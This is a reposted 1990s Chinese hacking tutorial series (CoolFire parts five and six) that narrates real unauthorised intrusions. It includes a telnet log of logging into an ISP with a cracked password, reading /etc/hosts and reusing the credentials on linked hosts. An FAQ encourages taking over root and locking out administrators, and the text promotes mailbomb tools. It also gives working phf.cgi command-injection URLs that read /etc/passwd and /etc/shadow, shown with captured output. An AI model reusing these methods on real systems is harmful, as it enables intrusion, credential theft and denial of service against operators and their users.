(能有中文吗,英文的有点吃力说)或是介绍更多的
Crack Tools.
[A11] CoolHC 就是中文的呀! 但是其它的当然只有英文的可以看罗,
现在有没有多少人投入在
写这样的东西呀~~ 本期的新工具就有介绍 KOS,
如果下此有好工具也会一并提出来介绍,
若有网友使用的心得也可以传给我放在 Home Page 上!

**** 後语 ****

CoolFire 改 E-Mail 了! 因为 HotMail 都要用 WWW 浏览器才能收信, 有点火大, 所以这次在
CyberSpace 申请了一个新的帐号, 请写信给我的时候不要投错信箱了喔~~~~
E-Mail: coolfire@cyberspace.org

我们的首页感谢大家的支持, 现在人数已经超过 2,600 了, 这是一个地下站
(未对外正式公布)
很棒的一个数字, 在与其它工作室人员研究之後, 暂时不对外公布站址, 如果你是 "误闯" 到本
站来的! 我们欢迎你的加入, 但目前尚不考虑对外公布站址,
请您在告诉你的朋友有这麼一个站
存在的时候, 请他不要随便告诉别人 (请只告诉你信赖的朋友;
或对电脑有一份特别狂热的人,
我们都欢迎他们的加入), 我们目前所采用的方式将是开放式的!
对首页部份暂时不以密码方式处 网管网 bitsCN_com

理.

** 不要 Crack 这个首页的 ISP!!!! 否则 FETAG Sofeware's Hacking Page
将会完全关闭, 再
也不寻找其它的地方来放置, 希望给你的是使用电脑的 "知识",
不要利用它来夺取任何的
"权利", 本首页著重的是教育, 而不是一 的教导攻击的方法, 希望大家对於政府机关

(org.tw) 或教育机构 (edu.tw) 不要作任何的破坏!! 还有我的 ISP.....:D

首页更新部分因为最近都太忙了, 所以每个人都没有时间写, 希望各位见谅, 这次特别把 CoolHC
的内容增加, 希望可以让你学到更多, 如果有人有写类似这样的文章, 请寄给我一份,
我也会将
它放到首页上的~~~:)

再次重申, Crack 别人站台之後不要破坏别人站台中的资料, 此篇文章仅作为教育目的,
不主张你随
便入侵他人主机.... (高-Net 还是除外)... 请勿将这类技术使用於破坏上 (又...
如果第三次世界
大战开打, 你可以任意破坏敌国的电脑网路... 我全力支持),
最严重的情况(如果你真的很讨厌该主
机的话)... 就将它 Shut Down.... 好了! 别太暴力了!
【转自 www.bitsCN.com】

coolfire 黑客入门教程系列之（五）

这不是一个教学文件, 只是告诉你该如何破解系统,
好让你能够将自己的系统作安全的保护, 如果
你能够将这份文件完全看完, 你就能够知道电脑骇客们是如何入侵你的电脑, 我是
CoolFire, 写
这篇文章的目的是要让大家明白电脑安全的重要性, 并不是教人 Crack Password
若有人因此文件
导致恶意入侵别人的电脑或网路, 本人概不负责 !!

各位新年还愉快吗 ?? 有没有人过年还死守著电脑的呀~~ 该出去活动活动罗~~ 当然,
过完了年我
们有有新的功课要作罗, 在过年前有一位网友 Mail 了一份 passwd 过来,
我也因此找到了某家站台
的密码, 经深入研究过之後, 决定产生这一篇文章, 大家先热身一下吧!!
等一下就会有好戏喔~~

本次主题: 善用你所得到的任何资讯 (Exm: HOSTS 档)
连接位址: xxx.xxx.xxx.xxx (又马赛克啦)
特别说明: 因为该站台是一个 "很大" 的 网路提供者, 其服务地区遍及全亚,
所以必须要特别以马
赛克来处理, 希望网友们不要介意 (咱们重的是内容嘛!! 又不是..
那个.. 那个).

**** 课程开始 ****

首先说明的是, 这个网路提供者的服务项目,
中国网管联盟 www_bitscn_com

包含了拨接及传真还有帮其它业者架设网路等, 也就是
说如果我们能够善用他们的系统就可以免费传真罗 ?? 哇哩... 国际传真耶,
这间公司不就亏大了!!!!!
所以马赛克处理是必要的, 不过这次的课程不是说明这个 ISP 够大,
而是我们如何利用一组已经破
解的密码来入侵其它与其相连的主机, 这点是比较重要的!!

大家可能早就已经知道, 在 Unix 系统中 /etc 目录下的 hosts 档案的作用了,
我们今天就来谈谈, 知道的
人跳过去吧!! 如果使用 Windoz 95 的人, 也可以看看在你 95
的系统目录中也有一个这样子的档案, 他
是长得像这个样子的: 127.0.0.1 localhost FETAG , 表示 127.0.0.1 为

LocalHost 也就是 FETAG 的电
脑, 所以我们要找与该 Unix 有 "直接关系" 的主机可以由这个地方找到.

找到这些主机有甚麼用呀 ?? 继然你已经有了一个主机的密码,
当然其它的主机也可能会有相同的
User 在其它的主机上用同样的帐号, 而且依据经验来说,
他们在其它主机上的密码通常都跟你目前所
拥有的这一份是一样的, 也就是你可以用同样的一组密码游走於其它的主机!!
以下示范的这个例子就
是啦!!

www:/etc$ telnet Superman.com.tw feedom.net
Trying 222.111.111.111...
Connected to Superman.com.tw.
Escape character is '^]'.

Linux 1.2.8 (Superman.Superman.com.tw) (ttyp0)
(甚麼烂公司, 新版系统的 Bug 少多了, 还不更新~~~)

Superman login: amywang
Password:

(用你所知道的密码进入)

Linux 1.2.8. (POSIX).
You have new mail.

(不要偷看人家的信喔)

Superman:~$ cd /etc
Superman:/etc$ cat hosts

(直接深入今天的主题)

For loopbacking.
127.0.0.1 localhost

222.111.247.1 router
222.111.247.2 abcdf01.tpfoo.Superman.com.tw abcdf01 f01
222.111.247.3 abcdf02.tpfoo.Superman.com.tw abcdf02 f02
222.111.247.4 abcdf03.tpfoo.Superman.com.tw abcdf03 f03
222.111.247.5 abcdf04.tpfoo.Superman.com.tw abcdf04 f04

207.121.0.15 abcdhk1.planet.com.hk abcdhk1 hk1

222.111.248.2 abcdf11.tcfoo.Superman.com.tw abcdf11 f11

222.111.248.3 abcdf12.tcfoo.Superman.com.tw abcdf12 f12
222.111.248.4 abcdf13.tcfoo.Superman.com.tw abcdf13 f13 54com.cn

222.111.248.131 abcdf21.ksfoo.Superman.com.tw abcdf21 f21
222.111.248.132 abcdf22.ksfoo.Superman.com.tw abcdf22 f22
222.111.248.133 abcdf23.ksfoo.Superman.com.tw abcdf23 f23
222.111.248.134 abcdf24.ksfoo.Superman.com.tw abcdf24 f24

222.111.247.33 abcdf01-s1.Superman.com.tw abcdf01-s1 f01-s1
222.111.247.33 abcdf02-s1.Superman.com.tw abcdf02-s1 f02-s1
222.111.247.34 abcdts2-s2.Superman.com.tw abcdts2-s1 ts2-s1

222.111.247.193 abcdf11-s1.Superman.com.tw abcdf11-s1 f11-s1
222.111.247.193 abcdf12-s1.Superman.com.tw abcdf12-s1 f12-s1
222.111.247.194 abcdts1-s1.Superman.com.tw abcdts1-s1 ts1-s1

222.111.247.73 abcdf21-s1.Superman.com.tw abcdf21-s1 f21-s1
222.111.247.197 abcdf22-s1.Superman.com.tw abcdf22-s1 f22-s1
222.111.247.198 abcdts1-s2.Superman.com.tw abcdts1-s2 ts1-s2

222.111.247.201 abcdus1-s1.Superman.com.tw abcdus1-s1 us1-s1
222.111.247.77 abcdus2-s1.Superman.com.tw abcdus2-s1 us2-s1
222.111.247.78 abcdts1-s3.Superman.com.tw abcdts1-s3 ts1-s3 54ne.com

222.111.247.133 abcdts1-l0.Superman.com.tw abcdts1-l0 ts1-l0
222.111.248.10 abcdts2-l0.Superman.com.tw abcdts2-l0 ts2-l0

#206.222.170.2 abcdus1.Superman.com.tw abcdus1 us1
#206.222.170.3 abcdus2.Superman.com.tw abcdus2 us2
206.222.170.4 abcdus3.Superman.com.tw abcdus3 us3
206.222.170.5 abcdus4.Superman.com.tw abcdus4 us4
206.222.170.7 abcdus1+.Superman.com.tw abcdus1+ us1+ us1
206.222.170.6 abcdus2+.Superman.com.tw abcdus2+ us2+ us2

222.111.247.131 linux01.Superman.com.tw linux01 x01
222.111.247.135 linux03.Superman.com.tw linux03
222.111.247.151 linux04.Superman.com.tw linux04 x04
222.111.247.132 linux02-l0.Superman.com.tw linux02 x02
222.111.111.111 Superman.Superman.com.tw Superman

222.111.27.153 pc3.Superman.com.tw abcdpc3 pc3
222.111.27.152 pc2.Superman.com.tw abcdpc2 pc2
222.111.27.147 brian.Superman.com.tw brian brian
222.111.27.148 linuxpc.Superman.com.tw linuxpc hsliao
220.65.11.1 knet01
203.127.230.243 fooServer.warpdrive.com.sg sgp02
中国网管联盟 www、bitsCN、com

End of hosts

(我已经尽量在马赛克了!! 如果有没有马赛克完全的地方, 请该网路业者见谅)
(因为是 Telnet LogFile 直接收录的嘛~~ 唉.. 谁叫你的系统这麼脆弱~~)

Superman:/etc$ telnet 220.65.11.1
Trying 210.65.33.2...
Connected to 210.65.33.2.
Escape character is '^]'.

Linux 1.2.8 (snet01) (ttyp2)

knet01 login: amywang
Password:

Linux 1.2.8. (KNET01).
You have new mail.

(进来了! 就是这样啦!!!!!!)

用了这种方法对该主机所连接的各点作测试,
找到了一个可以使用所有主机的帐号及密码档案, 我
用这个帐号抓了 26 台主机的 /etc/passwd, 现在我的机器还在使用 CJack 对这 26
个密码档解码中, 如
果有更进一步的消息, 我们会在下一篇的时候一并讨论,
当然这个方法不仅适用於这间公司, 对其它
的主机也都适用, 这间公司的规模应算不小了, 台湾; 香港; 日本都有分公司的样子,
不过也都.... 呵~

以上就是 hosts 档的妙用了!! 可能在此篇发表之後大家都用 DNS 了, 而不再编辑 hosts
档了~~~ 不过
这个档案也可以锁起来呀~~ 限定只有 root 可以用嘛! 反正一些烂 ISP 不是都这样,
中国网管联盟 www、bitsCN、com

一有安全顾虑就
限定使用者的使用... 老套了啦!! 你还是会有其它的漏洞的... Linux 1.2.8 哈哈~~~
多的是漏洞哩!!!!
就算你把 hosts 也锁起来, passwd 也 shadow..
还是有一大堆的地方是欢迎大家进入的~~~

嗯.. 没有挑衅的意思啦~~ 各位亲爱的网路提供者... 请将您的系统加锁,
以免有任何不测. 上次我们说
的那个 ISP (WWW Server 有漏洞的那个), 这次已经将 root 的密码改掉了,
但是还是留下许多 User 的
密码没有改, Password 档也没有作任何的保护, 对於这样的业者, 哪一家公司的 Home
Page 敢放在上面
呢 ?? 被人乱改一通不是破坏了公司的形像吗 ??

-*-
--*-*-*-

**** 又是字典档 ****

这次字典档的部份不再多谈了, 讲讲上一次的一点漏失,
由於上次写出来的程式太多地方没有先作
考虑, 所以用起来怪怪的 !! 再加上很多的功能没有加上的关系,
有很多网友反映出来的问题多在自
己操作上的错误, 呵~~ 怪写程式的人没有作好一些检查的动作嘛~~

所以 CoolFire 决定将上次那个鸟程式重新写过, 配合排序及检查重覆的功能来使用, 中国网管论坛 bbs.bitsCN.com
预计由今天晚
上开始动工写出字典档的产生器, 这样才对各位网友们有个交待, 喝呵...
不过网友们别抱著太大的
希望, 因为 James 的 LetMeIn! 2.0 也还在大家的期盼下久久未见,
每天加班的他也实在没甚麽时间,
CoolFire 能在甚麽时候写好, 也是未知数. 不过请各位 Mail
给我你对此字典档产生器的意见, 还有
你希望它能在甚麽作业系统下动作 ?? DOS ?? Windoz ??

-*-
--*-*-*-

**** 首页更新通知 ****

上一次的通知有点早, 因为只改了小部份, 日後将不对小部份的更动作任何的通知,
仅对大更动通知,
不过还是请各位有空的时候上来多看看, 以免你在努力的时候别人已经看过了所有的 Hole

List 也将
漏洞补上了！努力是会有成果的!!

CoolFire 想在板上放个 Crack 心得留言板 ！有没有人有意见的 ??? 留信给我~

-*-
--*-*-*-

**** CoolFire FAQ ****

实在很想帮大家解决问题，但是请不要寄来 "请帮我 Crack xxx ISP" 的信件，
54ne.com

如果我们的 Home Page 有
甚麽问题，或是你在 Crack 所遭遇到的问题，欢迎大家来信讨论!! Harlem Liang
网友所建议的 StarKrack
也是一个不错的 Password Crack 软体，请大家也帮忙试试喔~~~~

[Q1]你在 Coolhc~4 中讲到 Shadow.c 可以用 unix 里的 cc 指令 但如何 Keyin 例如:
ms.hinet.net/harlem/>CC
之後呢?
[A1]在 Unix 系统中下以下的指令: cc -o deshadow shadow.c 最後所产生出来的
deshadow 就是执行档名了
Unix 是一个不错的系统，尤其是想要学习 Crack Password
或入侵的中 H 都一定踯 n 经过这个门槛，大
家可以多看看一些有关 Unix 的书籍，当然 c 语言也是其必须的罗~~~:)

[Q2]deshadow 是在 Unix 下执行,还是在 Dos 下执行，用 C 语言可不可以转换?
可不可以把 shadow
的 passwd 拿回来再转换?
[A2]呵~~ 既然 /etc/passwd 已经 shadow 了！你拿回来的当然是没有用的密码档，
只能知道其 user 的名字
而已，所以如果要拿回来 Crack 当然是不可能的，而 DeShadow 是针对 Unix
系统的漏洞所设计的，
且只能在 Unix 上尝试 DeShadow.. 故请在 Unix 上 Compiler 再执行，
当然有些系统可能已经将漏洞 网管网 bitsCN_com
补上了，或因为网路安全的问题不提供使用者编译档案，
那就只好使用其它方法罗~~~:)

[Q3]我找到 root 的密码了！用 kOS 的字典档 XXXX 的 etc/passwd 用 Star Cracker,
只花了 1 小时 30 分 就找到了！
找到 root 的密码可以做甚麽呢? 你有没有用 kOS crack XXXX 的 passwd
花了多久 time?
[A3]哇 !! 恭喜你罗!(注: XXXX 部份为 "马赛克") 找到 root 的密码後能作甚麽 ???

呵.. 随便你罗, 想要
作甚麼就作甚麼, 当然可以更进一步的得到更多的东西,
你可以任意修改系统(小心触法), 也可以
在心情不好的时候把系统 "关" 起来, 不让别人上线, 亦可以更改 root 的密码,
让他们的 root 没有办
法维护系统, 反正系统是你的了! 问我能作甚麼 ?? 我也不能回答你..... :)
我当然也 Crack 过, 不过
时间嘛... 没算, 因为我都是用好几台电脑在跑的 (利用下班时间),
所以操作环境跟你不同罗!!

[Q4]看 hopenet 知道 linux 的 bin/login 中有一个很大漏洞可以取得 root
的权限是怎麼一回事呢?
[A4]该文章附有一 URL 位址, 请连上去看看後就知道了, 现在也有许多人讨论这些东西,
不过很多公司
用的 Linux 都还是 1.x.x 版的, 很好 Crack... 试试吧! 保证你会爱上它~~ 呵~ 中国网管
联盟 www.bitscn.com

[Q5]Cyberspace 是什麼样的组织?
[A5]嗯 ?? 连这种问题都有人问呀~~~ 请到 www.cyberspace.org 看看就知道罗~~~

[Q6] I have a question for the 'GZ' file format.
[A6]对呀!! 放了字典档的连结在首页上就出现了很多问 .z .gz 档要怎麼解的问题了,
我的系统
安装了 Winzip, Pkunzip, Gzip 後 .z .gz 就变成 Winzip 可解的档案了,
知道该怎麼办了吧~~

[Q7]我日前从你的站台连至 GlobalKOS 下传 jack14 的辅助工具,
不过我的连线速度太慢,所以一直
抓不回来,你可以 mirror 回来吗?
[A7]这种问题我也只好 Say "SORRY" 罗, 我们的首页上已经放了很多东西了,
而且也都是开放让
同好们 "免费" 参观及抓取 (绝不收费啦!!), 且一个 kOS 就要 1.xxMB 那麼大,
我基於要放更
多东西的关系提供了一个 Hot Link 在上面, 请各位 "努力" 吧!!
不然换条线试试, 你用的可能
是学术网路吧!! 可不可以在非巅锋时间抓呢?? 还是弄个 ftp Server 帮你抓,
信箱够大的话可
以用 Mail FTP... 等, 都可以达到你的目地的~~~:)

[Q8]我去找到了一个站的密码档,之後我执行 JACK 却出现 Virtual mode not supported
中国网管联盟 www.bitscn.com

without VCPI

的讯息,请问是什麽错误?
[A8]这位网友可能是使用 Windoz 95 的 DOS BOX 所出现的讯息吧!! VCPI 要在 EMM386.EXE 挂
上後有效, 也就是说最好在纯 DOS 下挂上 EMM386.EXE 再使用 Crack Jack,
另外使用的时候
也不要在 EMM386.EXE 後下 NOEMS 的参数, 不然 CJack 也不会理你, 至於怎麽在 Win95 的
DOS BOX 中使用 CJack ?? 我也不知道! 有没有人试成功的, 请出个声吧!!

[Q9]我如果由 www 得到密码档,破解之後我要从那输入密码?
[A9]嗯, 很简单呀!! 启动你的 Telnet 软体 (NetTerm... Telnet... etc.) 连线到 www.xxx.xxx.xxx 去, 然
後就可以输入密码, 依正常程序 Login 就成了!! 加油喔~~ Enjoy Hacking~:)

[Q10]我无法将字典档抓下来, 可否用 E-MAIL 寄给我
[A10]..... 谁来帮我回答~~~~?

**** 後语 ****

作这份东西的动机是 "兴趣", 入侵到他人的主机是属於非法的行为?
但是我并没有作任何的破坏
动作, 纯粹就是 "好玩", 当然也因此突显出许多站台的安全性问题,
所以这份文章也就有点"教育"
这些破站台的意味存在. 有许多的网有对 CoolFire 充满了信心, 寄了许多站台的网址来
中国网管论坛 bbs.bitsCN.com

"求破",
呵.. 我只能看看, 不能够将每天的心力都投注在上面, 网友们也许比较有时间吧!!
大家可以一起
到 Hacker 论坛讨论讨论.

我们的首页感谢大家的支持, 现在人数.... 呵, 已经不准了!
不晓得是哪位网友跑到咱们的 Cgi-Count
去动了手脚, 原本过年前还在 32xx 的人, 现在已经倒退了, 暂且不管网友们是如何想的,
下次若再出
现这样的状况, 这个首页可能因此关门大吉罗~~~

** 不要 Crack 这个首页的 ISP!!!! 否则 FETAG Sofeware's Hacking Page
将会完全关闭, 再
也不寻找其它的地方来放置, 希望给你的是使用电脑的 "知识",
不要利用它来夺取任何的
"权利", 本首页著重的是教育, 而不是一 的教导攻击的方法, 希望大家对於政府机关

(org.tw) 或教育机构 (edu.tw) 不要作任何的破坏!! 还有我的 ISP.....:D
谢谢大家的支持~

首页更新部分因为最近都太忙了, 所以每个人都没有时间写, 希望各位见谅, 这次特别把 CoolHC
的内容增加, 希望可以让你学到更多, 如果有人有写类似这样的文章, 请寄给我一份, 我也会将
它放到首页上的~~~:)

------ 中国网管联盟 www、bitsCN、com
再次重申, Crack 别人站台之後不要破坏别人站台中的资料, 此篇文章仅作为教育目的, 不主张你随
便入侵他人主机.... (高-Net 还是除外)... 请勿将这类技术使用於破坏上 (又... 如果第三次世界
大战开打, 你可以任意破坏敌国的电脑网路... 我全力支持), 最严重的情况(如果你真的很讨厌该主
机的话)... 就将它 Shut Down.... 好了! 别太暴力了!
【转自 www.bitsCN.com】

coolfire 黑客入门教程系列之（六）

这不是一个教学文件, 只是告诉你该如何破解系统, 好让你能够将自己的系统作安全的保护, 如果
你能够将这份文件完全看完, 你就能够知道电脑骇客们是如何入侵你的电脑, 我是 CoolFire, 写
这篇文章的目的是要让大家明白电脑安全的重要性, 并不是教人 Crack Password 若有人因此文件
导致恶意入侵别人的电脑或网路, 本人概不负责 !!

在昨天, 我们的首页造访人数破万了~~ 应该是增加了很多人, 而不是有人故意灌水的吧? 希望新
朋友们能喜欢我们的内容, 有人问到: 有没有跟我们首页性质相近的中文站台? 很遗憾的是目前
我还没有找到.... 看得到的大多是软体, 注册机之类的破解站台. 如果你也有这样的站台的话,
欢迎你写信给我们进行连结. 有很多网友报怨档案抓不下来, 先前我们已经尽了很大的努力将档
案放在国内 Server 中, 我想, 由 HiNet 连这边应该很快吧? 还是水管塞住的问题?? 如果有人
的位址在 .edu.tw 附近的, 欢迎来信要求 Mirror~~ 我很乐意将档案 Mirror 给你, 让其它网
友更方便取这些档案.

好久没有再弄出一些文章出来了, 不过最近倒是回了蛮多关於 Hacker 方面的问题, 也收到了许多
的回应信件, 有许多的问题在这一篇文章中都会有答案, 甚至到现在还有很多的网友们询问甚么 54ne.com
是 shadow password 的, 请各位多翻翻以前的文章吧!! 在 CGI Holes 方面的问题也很多, 所以在
这一篇之後我会找个时间写一写 System Holes #2 来让大家对一些网路上常见的程式漏洞有一些基
本的认识.

最近有许多软体更新了, 最令我们注意的当然就是 NT 4.0 罗, 因为它的更新肯定会带来很多的
人更新系统, 当然这样先进的作业系统我们还是很期待有人会很快的将它的 Bugs 找出来的啦!!
UpYours 这套重量级的 MailBomb 也出现的新的版本, 这次的 V4.0 Beta 2 经试用後发现实在是
改进了很多, 但是相对的危险性也跟著提高, 其改用 Delphi 来设计, 使得安装更为方便, 不过

美中不足的是 beta2 的版本有些功能尚未改好，光看到功能就让人哈翻了~~:) 这套 beta2 的版
本目前在我们的首页上可以找得到，相信它的正式版本很快就会完成~~

关於 MailBomb：我们的首页上所提供的 MailBomb 仅供大家作为测试用，请勿拿来开玩笑或是对别人
的信箱进行轰炸，日前此类事件造成某些的 ISP 当机，慎至还有导致 Mail Server 记忆体不足的情
况 (哪个人这么狠??)，我们也发现最近网路越来越慢了，因为水管上积了太多要跟我们抢宽度的垃圾
信件．请大家以学习的心来使用这些 Bombs... 不要没事就拿来炸人好吗 ?? Then enjoy new one~ 中国网管联盟 www、bitsCN、com

-*-
[CGI Hole (phf.cgi) 的延伸]

这次的主题想了好久，一直都没有想到，不过日前有一个屋漏偏逢连夜雨的某国营事业，在几经下 X 雨
及漏 X 的风波之後，在他们的主机上发现了很好玩的状况，原本我们在使用 phf.cgi 来抓 /etc/passwd
的时候，在 Browser 的 Location 中是下:

http://www.somewhere.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

Query Results

/usr/local/bin/ph -m alias=x /bin/cat /etc/passwd

```
root:x:0:1:0000-Admin(0000):/:/sbin/sh
daemon:x:1:1:0000-Admin(0000):/:
bin:x:2:2:0000-Admin(0000):/usr/bin:
sys:x:3:3:0000-Admin(0000):/:
adm:x:4:4:0000-Admin(0000):/var/adm:
lp:x:71:8:0000-lp(0000):/usr/spool/lp:
smtp:x:0:0:mail daemon user:/:
uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:
nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
nadm:x:45:2::/usr/bin:/sbin/sh
iuucp:x:46:5::/usr/lib/uucp/uucico:/sbin/sh feedom.net
nobody:x:60001:60001:uid no body:/:
noaccess:x:60002:60002:uid no access:/:
gopher:x:100:1::/usr/local/bin:/usr/local/bin/GopherUserScript
news:x:105:100::/usr/local/etc/innd:/usr/lib/rsh
```

ftp:x:106:101:Anonymous FTP:/export/ftp:/bin/false
hanshin:x:109:1::/home1/hanshin:/usr/lib/rsh
dayeh:x:110:1::/home1/dayeh:/usr/lib/rsh
ming:x:133:1::/home1/ming:/usr/bin/ksh
charlesl:x:139:1::/home1/charlesl:/usr/lib/rsh
iiimail:x:142:6::/home/iiimail:/usr/lib/rsh
charles.lo:x:156:1::/home1/charles.lo:/usr/lib/rsh
webmaster:x:161:1::/home1/webmaster:/usr/lib/rsh
mark:x:171:1::/home1/mark:/usr/lib/rsh
jcteam:x:172:1::/home1/jcteam:/usr/lib/rsh
ibgchen:x:224:1::/home1/ibgchen:/usr/lib/rsh

但是如果没有, 或是 shadow 的话, 你可能会接著试:

http://www.somewhere.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/shadow

Query Results

/usr/local/bin/ph -m alias=x /bin/cat /etc/shadow

但是有时候虽然 phf.cgi 这个程式的漏洞没有被补上, 还是有很多的机器不理会这个指令, 不过当这 中国网管论坛 bbs.bitsCN.com
个指令生效, 但是你看到的却是一个 shadow 过的 passwd 的时候, 请不要灰心, 因为这台机器已经在
你的手中了, 为甚么呢 ?? 我们来玩看看一些简单的 Unix shell command 你就会知道了~~

http://www.somewhere.com/cgi-bin/phf?Qalias=x%0a/bin/ls%20-l%20-a%20/etc

Query Results

/usr/local/bin/ph -m alias=x /bin/ls -l -a /etc

total 466
-rw-r--r-- 1 root root 38 May 2 1996 #etcnamed.boot#
-rw-r--r-- 1 root root 20579 May 1 1996 #sendmail.cf#
drwxr-xr-x 11 root root 2048 Apr 17 13:07 .
drwxr-xr-x 24 root root 1024 Mar 26 08:16 ..
-rw-r--r-- 1 root root 2167 Aug 24 1995 DIR_COLORS
-rw-r--r-- 1 root root 15 May 1 1996 HOSTNAME
-rw-r--r-- 1 root root 4 Feb 24 1993 NETWORKING
-rw-r--r-- 1 root root 48 Dec 30 1994 NNTP_INEWS_DOMAIN
-rw-r--r-- 1 root root 0 May 13 1994 at.deny
drwxr-xr-x 2 root root 1024 Apr 11 1996 backups

-rw-r--r-- 1 root root 1212 Jul 10 1993 bootptab
-rw-r--r-- 1 root root 0 Feb 15 1994 csh.cshrc
-rw-r--r-- 1 root root 893 Apr 12 1996 csh.login
网管网 bitsCN_com

drwxr-xr-x 2 root root 1024 Apr 16 1996 default
-rw-r--r-- 1 root root 154 Aug 21 1994 exports
-rw-r--r-- 1 root root 0 May 13 1995 fastboot
-rw-r--r-- 1 root root 1118 Jan 28 1994 fdprm
drwxr-xr-x 2 root root 1024 Apr 12 1996 fs
-rw-r--r-- 1 root root 250 Dec 9 19:19 fstab
-rw-r--r-- 1 root root 242 Dec 5 13:55 fstab~
-rw-r--r-- 1 root root 1915 Jan 27 07:46 ftpaccess
-rw-r--r-- 1 root root 368 Aug 1 1994 ftpconversions
-rw-r--r-- 1 root root 0 Aug 9 1994 ftpgroups
-rwxr-xr-x 1 root root 50 May 1 1996 ftponly
-rw-r--r-- 1 root root 501 Apr 26 1996 ftpusers
-rw-r--r-- 1 root root 76 Aug 21 1994 gateways
-rw-r--r-- 1 root root 669 May 19 1994 gettydefs
-rw-r--r-- 1 root root 291 Jun 6 1996 group
-rw-r--r-- 1 root root 27 Jul 7 1994 host.conf
-rw-r--r-- 1 root root 628 Jul 12 1996 hosts
-rw-r--r-- 1 root root 600 Jan 6 10:18 hosts.allow
-rw-r--r-- 1 root root 341 May 9 1996 hosts.deny
-rw-r--r-- 1 root root 313 Mar 16 1994 hosts.equiv 中国网管论坛 bbs.bitsCN.com
-rw-r--r-- 1 root root 302 Sep 23 1993 hosts.lpd
-rw-r--r-- 1 root root 653 Apr 24 1996 hosts~
lrwxrwxrwx 1 root root 1 Apr 12 1996 inet -> .
-rw-r--r-- 1 root root 3677 Jan 6 10:20 inetd.conf
-rw-r--r-- 1 root root 3664 Apr 23 1996 inetd.conf~
-rw-r--r-- 1 root root 2351 Apr 18 1996 inittab
-rw-r--r-- 1 root root 2046 Jul 28 1994 inittab.gettyps.sample
-rw-r--r-- 1 root root 27 Apr 17 12:43 issue
-rw-r--r-- 1 root root 3 Apr 17 12:43 klogd.pid
-rw-r--r-- 1 root root 1223 Apr 17 12:43 ld.so.cache
-rw-r--r-- 1 root root 71 Aug 14 1995 ld.so.conf
drwxr-xr-x 2 root root 1024 Apr 12 1996 lilo
-rw-r--r-- 1 root root 479 Apr 13 1996 lilo.conf
-rw-r--r-- 1 root root 479 Apr 13 1996 lilo.conf.bak
-rw-r--r-- 1 root root 266 Apr 17 12:42 localtime
-rw-r--r-- 1 root root 76873 Oct 17 1995 magic
-r--r--r-- 1 root root 105 May 8 1994 mail.rc
-rw-r--r-- 1 root root 14 Apr 17 12:43 motd
drwxr-xr-x 2 root root 1024 Aug 1 1994 msgs

-rw-r--r-- 1 root root 151 Apr 17 20:43 mtab
网管联盟 www.bitsCN.com

-rw-r--r-- 1 root root 833 Jun 29 1994 mtools
-r--r--r-- 1 root root 974 Apr 17 11:48 named.boot
-r--r--r-- 1 root root 2568 May 2 1996 named.boot,v
-r--r--r-- 1 root root 764 Mar 8 16:54 named.boot.v1
-r--r--r-- 1 root root 813 Mar 17 08:45 named.boot.v2
-r--r--r-- 1 root root 521 Apr 18 1996 named.boot.~1.3~
-r--r--r-- 1 root root 566 Apr 19 1996 named.boot.~1.4~
-r--r--r-- 1 root root 566 Apr 19 1996 named.boot.~1.5~
-r--r--r-- 1 root root 707 Mar 5 08:32 named.boot.~1.6~
-rw-r--r-- 1 root root 566 Apr 19 1996 named.boot~
-rw-r--r-- 1 root root 235 May 1 1996 networks
-rw-r--r-- 1 root root 237 Apr 24 1996 networks~
-rw-r--r-- 1 root root 0 May 8 1995 nntpserver
-rw-r--r-- 1 root root 36 Sep 12 1994 organization
-rw-r--r-- 1 root root 1727 Apr 17 13:07 passwd
-r--r--r-- 1 root root 1662 Apr 17 13:06 passwd-
-rw-r--r-- 1 root root 1715 Apr 17 13:06 passwd.OLD
-rw-r--r-- 1 root root 1494 Feb 12 14:22 passwd.old
-rw-r--r-- 1 root root 1354 Jun 6 1996 passwd~ 中国网管联盟 www.bitscn.com
drwxr-xr-x 2 root root 1024 Jul 9 1994 ppp
-rw-r--r-- 1 root root 2240 May 20 1994 printcap
-rw-r--r-- 1 root root 1083 Apr 12 1996 profile
-rw-r--r-- 1 root root 595 Aug 21 1994 protocols
drwxr-xr-x 2 root root 1024 Jan 3 23:59 rc.d
-rw-r--r-- 1 root root 41 May 1 1996 resolv.conf
-rw-r--r-- 1 root root 65 Jan 31 1996 resolv.conf~
-rw-r--r-- 1 root root 743 Aug 1 1994 rpc
-rw-r--r-- 1 root root 87 Jun 6 1996 securetty
-r--r--r-- 1 root root 20579 May 1 1996 sendmail.cf
-r--r--r-- 1 root root 21332 May 1 1996 sendmail.cf,v
-rw-r--r-- 1 root root 20541 Apr 13 1996 sendmail.cf~
-rw-r--r-- 1 root root 408 Apr 25 17:17 sendmail.st
-rw-r--r-- 1 root root 5575 Aug 1 1994 services
-rw-r--r-- 1 root root 68 Jun 6 1996 shells
drwxr-xr-x 3 root root 1024 Nov 13 1994 skel
-rw-r--r-- 1 root root 314 Jan 10 1995 slip.hosts
-rw-r--r-- 1 root root 342 Jan 10 1995 slip.login
-rw-r--r-- 1 root root 455 Aug 1 1994 snooptab
-rw------- 1 root users 524 Jul 18 1996 ssh_host_key 中国网管联盟 www.bitscn.com
-rw-r--r-- 1 root users 327 Jul 18 1996 ssh_host_key.pub

-rw------- 1 root users 512 Mar 10 09:03 ssh_random_seed
-rw-r--r-- 1 root users 607 Jul 18 1996 sshd_config
-rw-r----- 1 root root 501 Apr 26 1996 syslog.conf
-rw-r--r-- 1 root root 3 Apr 17 12:43 syslog.pid
-rw-r--r-- 1 root root 183942 Aug 9 1995 termcap
-rw-r--r-- 1 root root 126 Nov 24 1993 ttys
lrwxrwxrwx 1 root root 13 Apr 12 1996 utmp -> /var/adm/utmp
drwxr-xr-x 2 root root 1024 Aug 25 1995 vga
lrwxrwxrwx 1 root root 13 Apr 12 1996 wtmp -> /var/adm/wtmp
-rw-r--r-- 1 root root 76 May 8 1995 yp.conf.example
lrwxrwxrwx 1 root root 7 Apr 12 1996 zprofile -> profile

上面的 %20 所代表的是 [Space] 也就是空白键啦! 那上面这个 Location 就如同我们已经 Telnet 到
这台机器上, 下了: ls -l -a /etc 这个指令一样, 嗯... 也就是说....$^^*^$@@#
OK! 当你抓 /etc/passwd 所抓到的是 shadow 过的 passwd 档, 你一定会要抓真正的 shadow 档来作
